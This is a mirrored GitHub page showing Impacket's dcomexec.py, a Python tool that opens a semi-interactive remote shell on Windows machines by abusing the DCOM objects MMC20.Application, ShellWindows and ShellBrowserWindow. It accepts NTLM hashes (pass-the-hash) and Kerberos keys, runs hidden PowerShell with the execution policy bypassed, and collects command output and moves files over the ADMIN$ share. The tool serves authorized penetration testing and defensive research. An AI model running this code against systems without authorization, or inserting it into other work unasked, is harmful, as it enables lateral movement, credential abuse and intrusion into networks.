mirror of
https://github.com/fortra/impacket
synced 2026-06-08 14:15:13 +00:00
ae0ec300f8
* Standardized examples logger init method * Fixing missing import * Standardized examples init_ldap_session function #1 * Calling new shared function _ldap3_kerberos_login from example addcomputer * Removed considering -debug in each example. Now it's handled in utils. * Standardized EMPTY_LM_HASH in impacket.examples.utils * Unify parse_identity function (phase 1) * Standardized parse_identity * Renamed "_ldap3_kerberos_login" to "ldap3_kerberos_login" (as it is called from outside) * Standardize "logger" init in regsecrets.py * Standardized LDAP login into a single function in utils.py:ldap_login
652 lines
28 KiB
Python
Executable File
652 lines
28 KiB
Python
Executable File
#!/usr/bin/env python
|
|
# Impacket - Collection of Python classes for working with network protocols.
|
|
#
|
|
# Copyright Fortra, LLC and its affiliated companies
|
|
#
|
|
# All rights reserved.
|
|
#
|
|
# This software is provided under a slightly modified version
|
|
# of the Apache Software License. See the accompanying LICENSE file
|
|
# for more information.
|
|
#
|
|
# Description:
|
|
# A similar approach to psexec but executing commands through DCOM.
|
|
# You can select different objects to be used to execute the commands.
|
|
# Currently supported objects are:
|
|
# 1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2
|
|
# 2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2
|
|
# 3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2
|
|
#
|
|
# Drawback is it needs DCOM, hence, I have to be able to access
|
|
# DCOM ports at the target machine.
|
|
#
|
|
# Original discovery by Matt Nelson (@enigma0x3):
|
|
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
|
|
# https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
|
|
#
|
|
# Author:
|
|
# beto (@agsolino)
|
|
# Marcello (@byt3bl33d3r)
|
|
#
|
|
# Reference for:
|
|
# DCOM
|
|
#
|
|
# ToDo:
|
|
# [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to
|
|
# getInterface() method
|
|
#
|
|
|
|
from __future__ import division
|
|
from __future__ import print_function
|
|
import argparse
|
|
import cmd
|
|
import logging
|
|
import ntpath
|
|
import os
|
|
import sys
|
|
import time
|
|
from base64 import b64encode
|
|
|
|
from six import PY2, PY3
|
|
from impacket import version
|
|
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
|
|
VARIANT, VARENUM, DISPATCH_METHOD
|
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
|
|
from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
|
|
OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
|
|
IRemUnknown2, INTERFACE
|
|
from impacket.dcerpc.v5.dtypes import NULL
|
|
from impacket.examples import logger
|
|
from impacket.examples.utils import parse_target
|
|
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
|
|
from impacket.krb5.keytab import Keytab
|
|
|
|
OUTPUT_FILENAME = '__' + str(time.time())[:5]
|
|
CODEC = sys.stdout.encoding
|
|
|
|
class DCOMEXEC:
|
|
def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
|
|
noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None, shell_type=None):
|
|
self.__command = command
|
|
self.__username = username
|
|
self.__password = password
|
|
self.__domain = domain
|
|
self.__lmhash = ''
|
|
self.__nthash = ''
|
|
self.__aesKey = aesKey
|
|
self.__share = share
|
|
self.__noOutput = noOutput
|
|
self.__doKerberos = doKerberos
|
|
self.__kdcHost = kdcHost
|
|
self.__dcomObject = dcomObject
|
|
self.__shell_type = shell_type
|
|
self.shell = None
|
|
if hashes is not None:
|
|
self.__lmhash, self.__nthash = hashes.split(':')
|
|
|
|
def getInterface(self, interface, resp):
|
|
# Now let's parse the answer and build an Interface instance
|
|
objRefType = OBJREF(b''.join(resp))['flags']
|
|
objRef = None
|
|
if objRefType == FLAGS_OBJREF_CUSTOM:
|
|
objRef = OBJREF_CUSTOM(b''.join(resp))
|
|
elif objRefType == FLAGS_OBJREF_HANDLER:
|
|
objRef = OBJREF_HANDLER(b''.join(resp))
|
|
elif objRefType == FLAGS_OBJREF_STANDARD:
|
|
objRef = OBJREF_STANDARD(b''.join(resp))
|
|
elif objRefType == FLAGS_OBJREF_EXTENDED:
|
|
objRef = OBJREF_EXTENDED(b''.join(resp))
|
|
else:
|
|
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
|
|
|
|
return IRemUnknown2(
|
|
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
|
|
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
|
|
target=interface.get_target()))
|
|
|
|
def run(self, addr, silentCommand=False):
|
|
if self.__noOutput is False and silentCommand is False:
|
|
smbConnection = SMBConnection(addr, addr)
|
|
if self.__doKerberos is False:
|
|
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
|
else:
|
|
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
|
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
|
|
|
|
dialect = smbConnection.getDialect()
|
|
if dialect == SMB_DIALECT:
|
|
logging.info("SMBv1 dialect used")
|
|
elif dialect == SMB2_DIALECT_002:
|
|
logging.info("SMBv2.0 dialect used")
|
|
elif dialect == SMB2_DIALECT_21:
|
|
logging.info("SMBv2.1 dialect used")
|
|
else:
|
|
logging.info("SMBv3.0 dialect used")
|
|
else:
|
|
smbConnection = None
|
|
|
|
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
|
|
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
|
|
try:
|
|
dispParams = DISPPARAMS(None, False)
|
|
dispParams['rgvarg'] = NULL
|
|
dispParams['rgdispidNamedArgs'] = NULL
|
|
dispParams['cArgs'] = 0
|
|
dispParams['cNamedArgs'] = 0
|
|
|
|
if self.__dcomObject == 'ShellWindows':
|
|
# ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
|
|
iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
|
|
iMMC = IDispatch(iInterface)
|
|
resp = iMMC.GetIDsOfNames(('Item',))
|
|
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
|
|
iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
|
resp = iItem.GetIDsOfNames(('Document',))
|
|
resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
|
pQuit = None
|
|
elif self.__dcomObject == 'ShellBrowserWindow':
|
|
# ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
|
|
iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
|
|
iMMC = IDispatch(iInterface)
|
|
resp = iMMC.GetIDsOfNames(('Document',))
|
|
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
|
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
|
|
elif self.__dcomObject == 'MMC20':
|
|
iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
|
|
iMMC = IDispatch(iInterface)
|
|
resp = iMMC.GetIDsOfNames(('Document',))
|
|
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
|
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
|
|
else:
|
|
logging.fatal('Invalid object %s' % self.__dcomObject)
|
|
return
|
|
|
|
iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
|
|
|
if self.__dcomObject == 'MMC20':
|
|
resp = iDocument.GetIDsOfNames(('ActiveView',))
|
|
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
|
|
|
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
|
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
|
|
self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)
|
|
else:
|
|
resp = iDocument.GetIDsOfNames(('Application',))
|
|
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
|
|
|
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
|
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
|
|
self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)
|
|
|
|
if self.__command != ' ':
|
|
try:
|
|
self.shell.onecmd(self.__command)
|
|
except TypeError:
|
|
if not silentCommand:
|
|
raise
|
|
if self.shell is not None:
|
|
self.shell.do_exit('')
|
|
else:
|
|
self.shell.cmdloop()
|
|
except (Exception, KeyboardInterrupt) as e:
|
|
if logging.getLogger().level == logging.DEBUG:
|
|
import traceback
|
|
traceback.print_exc()
|
|
if self.shell is not None:
|
|
self.shell.do_exit('')
|
|
logging.error(str(e))
|
|
if smbConnection is not None:
|
|
smbConnection.logoff()
|
|
dcom.disconnect()
|
|
sys.stdout.flush()
|
|
sys.exit(1)
|
|
|
|
if smbConnection is not None:
|
|
smbConnection.logoff()
|
|
dcom.disconnect()
|
|
|
|
class RemoteShell(cmd.Cmd):
|
|
def __init__(self, share, quit, executeShellCommand, smbConnection, shell_type, silentCommand=False):
|
|
cmd.Cmd.__init__(self)
|
|
self._share = share
|
|
self._output = '\\' + OUTPUT_FILENAME
|
|
self.__outputBuffer = ''
|
|
self._shell = 'cmd.exe'
|
|
self.__shell_type = shell_type
|
|
self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
|
|
self.__quit = quit
|
|
self._executeShellCommand = executeShellCommand
|
|
self.__transferClient = smbConnection
|
|
self._silentCommand = silentCommand
|
|
self._pwd = 'C:\\windows\\system32'
|
|
self._noOutput = False
|
|
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
|
|
|
|
# We don't wanna deal with timeouts from now on.
|
|
if self.__transferClient is not None:
|
|
self.__transferClient.setTimeout(100000)
|
|
self.do_cd('\\')
|
|
else:
|
|
self._noOutput = True
|
|
|
|
def do_shell(self, s):
|
|
os.system(s)
|
|
|
|
def do_help(self, line):
|
|
print("""
|
|
lcd {path} - changes the current local directory to {path}
|
|
exit - terminates the server process (and this session)
|
|
lput {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
|
|
lget {file} - downloads pathname to the current local dir
|
|
! {cmd} - executes a local shell cmd
|
|
""")
|
|
|
|
def do_lcd(self, s):
|
|
if s == '':
|
|
print(os.getcwd())
|
|
else:
|
|
try:
|
|
os.chdir(s)
|
|
except Exception as e:
|
|
logging.error(str(e))
|
|
|
|
def do_lget(self, src_path):
|
|
try:
|
|
import ntpath
|
|
newPath = ntpath.normpath(ntpath.join(self._pwd, src_path))
|
|
drive, tail = ntpath.splitdrive(newPath)
|
|
filename = ntpath.basename(tail)
|
|
fh = open(filename,'wb')
|
|
logging.info("Downloading %s\\%s" % (drive, tail))
|
|
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
|
fh.close()
|
|
except Exception as e:
|
|
logging.error(str(e))
|
|
os.remove(filename)
|
|
pass
|
|
|
|
def do_lput(self, s):
|
|
try:
|
|
params = s.split(' ')
|
|
if len(params) > 1:
|
|
src_path = params[0]
|
|
dst_path = params[1]
|
|
elif len(params) == 1:
|
|
src_path = params[0]
|
|
dst_path = ''
|
|
|
|
src_file = os.path.basename(src_path)
|
|
fh = open(src_path, 'rb')
|
|
dst_path = dst_path.replace('/','\\')
|
|
import ntpath
|
|
pathname = ntpath.join(ntpath.join(self._pwd, dst_path), src_file)
|
|
drive, tail = ntpath.splitdrive(pathname)
|
|
logging.info("Uploading %s to %s" % (src_file, pathname))
|
|
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
|
|
fh.close()
|
|
except Exception as e:
|
|
logging.critical(str(e))
|
|
pass
|
|
|
|
def do_exit(self, s):
|
|
dispParams = DISPPARAMS(None, False)
|
|
dispParams['rgvarg'] = NULL
|
|
dispParams['rgdispidNamedArgs'] = NULL
|
|
dispParams['cArgs'] = 0
|
|
dispParams['cNamedArgs'] = 0
|
|
|
|
self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,
|
|
0, [], [])
|
|
return True
|
|
|
|
def do_EOF(self, s):
|
|
print()
|
|
return self.do_exit(s)
|
|
|
|
def emptyline(self):
|
|
return False
|
|
|
|
def do_cd(self, s):
|
|
self.execute_remote('cd ' + s)
|
|
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
|
print(self.__outputBuffer)
|
|
self.__outputBuffer = ''
|
|
else:
|
|
if PY2:
|
|
self._pwd = ntpath.normpath(ntpath.join(self._pwd, s.decode(sys.stdin.encoding)))
|
|
else:
|
|
self._pwd = ntpath.normpath(ntpath.join(self._pwd, s))
|
|
self.execute_remote('cd ')
|
|
self._pwd = self.__outputBuffer.strip('\r\n')
|
|
self.prompt = (self._pwd + '>')
|
|
if self.__shell_type == 'powershell':
|
|
self.prompt = 'PS ' + self.prompt + ' '
|
|
self.__outputBuffer = ''
|
|
|
|
def default(self, line):
|
|
# Let's try to guess if the user is trying to change drive
|
|
if len(line) == 2 and line[1] == ':':
|
|
# Execute the command and see if the drive is valid
|
|
self.execute_remote(line)
|
|
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
|
# Something went wrong
|
|
print(self.__outputBuffer)
|
|
self.__outputBuffer = ''
|
|
else:
|
|
# Drive valid, now we should get the current path
|
|
self._pwd = line
|
|
self.execute_remote('cd ')
|
|
self._pwd = self.__outputBuffer.strip('\r\n')
|
|
self.prompt = (self._pwd + '>')
|
|
if self.__shell_type == 'powershell':
|
|
self.prompt = 'PS ' + self.prompt + ' '
|
|
self.__outputBuffer = ''
|
|
else:
|
|
if line != '':
|
|
self.send_data(line)
|
|
|
|
def get_output(self):
|
|
def output_callback(data):
|
|
try:
|
|
self.__outputBuffer += data.decode(CODEC)
|
|
except UnicodeDecodeError:
|
|
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
|
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute dcomexec.py '
|
|
'again with -codec and the corresponding codec')
|
|
self.__outputBuffer += data.decode(CODEC, errors='replace')
|
|
|
|
if self._noOutput is True:
|
|
self.__outputBuffer = ''
|
|
return
|
|
|
|
while True:
|
|
try:
|
|
self.__transferClient.getFile(self._share, self._output, output_callback)
|
|
break
|
|
except Exception as e:
|
|
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
|
# Output not finished, let's wait
|
|
time.sleep(1)
|
|
pass
|
|
elif str(e).find('Broken') >= 0:
|
|
# The SMB Connection might have timed out, let's try reconnecting
|
|
logging.debug('Connection broken, trying to recreate it')
|
|
self.__transferClient.reconnect()
|
|
return self.get_output()
|
|
self.__transferClient.deleteFile(self._share, self._output)
|
|
|
|
def execute_remote(self, data, shell_type='cmd'):
|
|
if self._silentCommand is True:
|
|
self._shell = data.split()[0]
|
|
command = ' '.join(data.split()[1:])
|
|
else:
|
|
if shell_type == 'powershell':
|
|
data = '$ProgressPreference="SilentlyContinue";' + data
|
|
data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()
|
|
command = '/Q /c ' + data
|
|
|
|
if self._noOutput is False:
|
|
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
|
|
|
|
logging.debug('Executing: %s' % command)
|
|
|
|
dispParams = DISPPARAMS(None, False)
|
|
dispParams['rgdispidNamedArgs'] = NULL
|
|
dispParams['cArgs'] = 5
|
|
dispParams['cNamedArgs'] = 0
|
|
arg0 = VARIANT(None, False)
|
|
arg0['clSize'] = 5
|
|
arg0['vt'] = VARENUM.VT_BSTR
|
|
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg0['_varUnion']['bstrVal']['asData'] = self._shell
|
|
|
|
arg1 = VARIANT(None, False)
|
|
arg1['clSize'] = 5
|
|
arg1['vt'] = VARENUM.VT_BSTR
|
|
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
if PY3:
|
|
arg1['_varUnion']['bstrVal']['asData'] = command
|
|
else:
|
|
arg1['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)
|
|
|
|
arg2 = VARIANT(None, False)
|
|
arg2['clSize'] = 5
|
|
arg2['vt'] = VARENUM.VT_BSTR
|
|
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg2['_varUnion']['bstrVal']['asData'] = self._pwd
|
|
|
|
arg3 = VARIANT(None, False)
|
|
arg3['clSize'] = 5
|
|
arg3['vt'] = VARENUM.VT_BSTR
|
|
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg3['_varUnion']['bstrVal']['asData'] = ''
|
|
|
|
arg4 = VARIANT(None, False)
|
|
arg4['clSize'] = 5
|
|
arg4['vt'] = VARENUM.VT_BSTR
|
|
arg4['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg4['_varUnion']['bstrVal']['asData'] = '0'
|
|
dispParams['rgvarg'].append(arg4)
|
|
dispParams['rgvarg'].append(arg3)
|
|
dispParams['rgvarg'].append(arg2)
|
|
dispParams['rgvarg'].append(arg1)
|
|
dispParams['rgvarg'].append(arg0)
|
|
|
|
#print(dispParams.dump())
|
|
|
|
self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
|
|
0, [], [])
|
|
self.get_output()
|
|
|
|
def send_data(self, data):
|
|
self.execute_remote(data, self.__shell_type)
|
|
print(self.__outputBuffer)
|
|
self.__outputBuffer = ''
|
|
|
|
class RemoteShellMMC20(RemoteShell):
|
|
def execute_remote(self, data, shell_type='cmd'):
|
|
if self._silentCommand is True:
|
|
self._shell = data.split()[0]
|
|
command = ' '.join(data.split()[1:])
|
|
else:
|
|
if shell_type == 'powershell':
|
|
data = '$ProgressPreference="SilentlyContinue";' + data
|
|
data = self._RemoteShell__pwsh + b64encode(data.encode('utf-16le')).decode()
|
|
command = '/Q /c ' + data
|
|
|
|
if self._noOutput is False:
|
|
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
|
|
|
|
dispParams = DISPPARAMS(None, False)
|
|
dispParams['rgdispidNamedArgs'] = NULL
|
|
dispParams['cArgs'] = 4
|
|
dispParams['cNamedArgs'] = 0
|
|
arg0 = VARIANT(None, False)
|
|
arg0['clSize'] = 5
|
|
arg0['vt'] = VARENUM.VT_BSTR
|
|
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg0['_varUnion']['bstrVal']['asData'] = self._shell
|
|
|
|
arg1 = VARIANT(None, False)
|
|
arg1['clSize'] = 5
|
|
arg1['vt'] = VARENUM.VT_BSTR
|
|
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg1['_varUnion']['bstrVal']['asData'] = self._pwd
|
|
|
|
arg2 = VARIANT(None, False)
|
|
arg2['clSize'] = 5
|
|
arg2['vt'] = VARENUM.VT_BSTR
|
|
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
if PY3:
|
|
arg2['_varUnion']['bstrVal']['asData'] = command
|
|
else:
|
|
arg2['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)
|
|
|
|
arg3 = VARIANT(None, False)
|
|
arg3['clSize'] = 5
|
|
arg3['vt'] = VARENUM.VT_BSTR
|
|
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg3['_varUnion']['bstrVal']['asData'] = '7'
|
|
dispParams['rgvarg'].append(arg3)
|
|
dispParams['rgvarg'].append(arg2)
|
|
dispParams['rgvarg'].append(arg1)
|
|
dispParams['rgvarg'].append(arg0)
|
|
|
|
self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
|
|
0, [], [])
|
|
self.get_output()
|
|
|
|
class AuthFileSyntaxError(Exception):
|
|
|
|
'''raised by load_smbclient_auth_file if it encounters a syntax error
|
|
while loading the smbclient-style authentication file.'''
|
|
|
|
def __init__(self, path, lineno, reason):
|
|
self.path=path
|
|
self.lineno=lineno
|
|
self.reason=reason
|
|
|
|
def __str__(self):
|
|
return 'Syntax error in auth file %s line %d: %s' % (
|
|
self.path, self.lineno, self.reason )
|
|
|
|
def load_smbclient_auth_file(path):
|
|
|
|
'''Load credentials from an smbclient-style authentication file (used by
|
|
smbclient, mount.cifs and others). returns (domain, username, password)
|
|
or raises AuthFileSyntaxError or any I/O exceptions.'''
|
|
|
|
lineno=0
|
|
domain=None
|
|
username=None
|
|
password=None
|
|
for line in open(path):
|
|
lineno+=1
|
|
|
|
line = line.strip()
|
|
|
|
if line.startswith('#') or line=='':
|
|
continue
|
|
|
|
parts = line.split('=',1)
|
|
if len(parts) != 2:
|
|
raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
|
|
|
|
(k,v) = (parts[0].strip(), parts[1].strip())
|
|
|
|
if k=='username':
|
|
username=v
|
|
elif k=='password':
|
|
password=v
|
|
elif k=='domain':
|
|
domain=v
|
|
else:
|
|
raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
|
|
|
|
return (domain, username, password)
|
|
|
|
# Process command-line arguments.
|
|
if __name__ == '__main__':
|
|
print(version.BANNER)
|
|
|
|
parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using the "
|
|
"ShellBrowserWindow DCOM object.")
|
|
|
|
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
|
parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
|
|
'(default ADMIN$)')
|
|
parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
|
|
'(no SMB connection created)')
|
|
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
|
|
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
|
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
|
|
'"%s"). If errors are detected, run chcp.com at the target, '
|
|
'map the result with '
|
|
'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '
|
|
'again with -codec and the corresponding codec ' % CODEC)
|
|
parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows',
|
|
help='DCOM object to be used to execute the shell command (default=ShellWindows)')
|
|
parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, '
|
|
'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')
|
|
parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose '
|
|
'a command processor for the semi-interactive shell')
|
|
parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
|
|
'launch a semi-interactive shell')
|
|
parser.add_argument('-silentcommand', action='store_true', default = False,
|
|
help='does not execute cmd.exe to run given command (no output, cannot run dir/cd/etc.)')
|
|
|
|
group = parser.add_argument_group('authentication')
|
|
|
|
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
|
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
|
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
|
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
|
'ones specified in the command line')
|
|
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
|
'(128 or 256 bits)')
|
|
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
|
'ommited it use the domain part (FQDN) specified in the target parameter')
|
|
group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
|
|
"See smbclient man page's -A option.")
|
|
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
|
|
|
|
if len(sys.argv)==1:
|
|
parser.print_help()
|
|
sys.exit(1)
|
|
|
|
options = parser.parse_args()
|
|
# Init the example's logger theme
|
|
logger.init(options.ts, options.debug)
|
|
|
|
if options.codec is not None:
|
|
CODEC = options.codec
|
|
else:
|
|
if CODEC is None:
|
|
CODEC = 'utf-8'
|
|
|
|
if ' '.join(options.command) == ' ' and options.nooutput is True:
|
|
logging.error("-nooutput switch and interactive shell not supported")
|
|
sys.exit(1)
|
|
if options.silentcommand and options.command == ' ':
|
|
logging.error("-silentcommand switch and interactive shell not supported")
|
|
sys.exit(1)
|
|
|
|
if options.com_version is not None:
|
|
try:
|
|
major_version, minor_version = options.com_version.split('.')
|
|
COMVERSION.set_default_version(int(major_version), int(minor_version))
|
|
except Exception:
|
|
logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"")
|
|
sys.exit(1)
|
|
|
|
domain, username, password, address = parse_target(options.target)
|
|
|
|
try:
|
|
if options.A is not None:
|
|
(domain, username, password) = load_smbclient_auth_file(options.A)
|
|
logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
|
|
|
|
if domain is None:
|
|
domain = ''
|
|
|
|
if options.keytab is not None:
|
|
Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
|
|
options.k = True
|
|
|
|
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
|
from getpass import getpass
|
|
password = getpass("Password:")
|
|
|
|
if options.aesKey is not None:
|
|
options.k = True
|
|
|
|
executer = DCOMEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
|
|
options.share, options.nooutput, options.k, options.dc_ip, options.object, options.shell_type)
|
|
executer.run(address, options.silentcommand)
|
|
except (Exception, KeyboardInterrupt) as e:
|
|
if logging.getLogger().level == logging.DEBUG:
|
|
import traceback
|
|
traceback.print_exc()
|
|
logging.error(str(e))
|
|
sys.exit(0)
|